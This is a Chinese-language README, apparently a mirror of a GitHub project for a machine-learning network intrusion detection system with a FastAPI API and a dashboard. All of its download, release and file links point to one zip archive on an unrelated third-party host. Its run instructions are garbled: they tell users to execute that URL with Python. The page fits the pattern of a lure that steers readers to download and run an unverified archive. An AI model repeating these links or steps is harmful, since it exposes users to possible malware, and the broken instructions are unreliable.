shenal00/network-intrusion-detection-ml

GitHub: shenal00/network-intrusion-detection-ml

基于机器学习的网络入侵检测系统,集成模型训练、FastAPI预测接口和实时监控仪表板,帮助快速识别网络威胁。

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# 🚀 network-intrusion-detection-ml - 利用 AI 保护您的网络安全 [![下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip) ## 📋 描述 本应用程序是一个基于机器学习的入侵检测系统,使用 NSL-KDD 数据集。它有助于识别和防止网络入侵。功能包括数据预处理、特征工程、AUC 为 0.96 的 Random Forest 模型、ROC 曲线可视化、FastAPI 预测 API,以及用于监控威胁的实时分析仪表板。 ## 🛠️ 功能特性 - **机器学习**:采用先进算法检测入侵。 - **实时仪表板**:实时监控网络流量并即时检测威胁。 - **FastAPI**:提供一种获取网络入侵预测的简单方法。 - **性能指标**:通过 AUC 和 ROC 曲线等特性展示模型的有效性。 - **数据处理**:包含预处理和特征工程以提高准确性。 ## 🎯 主题 - Cybersecurity (网络安全) - Data Science (数据科学) - FastAPI - Intrusion Detection (入侵检测) - Machine Learning (机器学习) - Network Security (网络安全) - NSL-KDD - Python - Security Analytics (安全分析) - Threat Detection (威胁检测) ## 💻 系统要求 下载前,请确保您的系统满足以下要求: - **操作系统**:Windows、macOS 或 Linux - **Python 版本**:Python 3.6 或更高版本 - **内存**:至少 4 GB RAM - **存储空间**:至少 1 GB 可用磁盘空间 ## 🚀 快速入门 要开始使用 network-intrusion-detection-ml 应用程序,请按照以下步骤操作: 1. 点击页面顶部的 **下载** 按钮,或访问 [Releases 页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip) 查找应用程序的最新版本。 2. 进入 Releases 页面后,找到相应的版本并点击。您将看到可供下载的不同资源。 3. 选择与您的操作系统匹配的文件。文件名可能类似于 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip`。 4. 下载完成后,在计算机上导航到已下载的文件。 5. 如果文件是 zip 压缩包,请使用操作系统的文件管理器将其解压。 6. 打开终端或命令提示符。 7. 导航到解压文件的文件夹。 8. 输入以下命令运行应用程序: python https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip ## 📥 下载与安装 要下载应用程序,您可以访问以下链接获取最新版本:[点击下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip)。 下载并安装应用程序后,您可以按照“快速入门”部分中的说明运行它。 ## 🛡️ 使用应用程序 1. 运行 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip` 后,打开您的 Web 浏览器。 2. 访问 `http://localhost:8000` 以进入实时分析仪表板。 3. 使用仪表板实时监控网络流量。它将即时显示任何检测到的入侵。 4. 确保将相关数据输入 FastAPI 预测 API 以分析特定情况。 ## 📊 解读结果 应用程序将提供有关检测到的威胁和潜在严重性的详细信息。请在仪表板中关注以下内容: - **警报**:入侵尝试的通知。 - **流量分析**:网络流量模式的可视化。 - **性能指标**:衡量检测模型的有效性。 ## 🤝 支持 如有问题或疑问,请随时在 GitHub 仓库页面提交 issue。我们欢迎建设性的反馈和建议,以改进应用程序。 ## 🙌 贡献 我们欢迎社区的贡献。如果您希望支持本项目,请 Fork 本仓库,进行更改,然后提交 Pull Request。 ## 📄 许可证 本项目根据 MIT 许可证授权。您可以在仓库中的 LICENSE 文件中查看许可证详细信息。 欲了解更多信息,请查看 [Releases 页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cc154a1796125057.zip) 以获取下载和更新。
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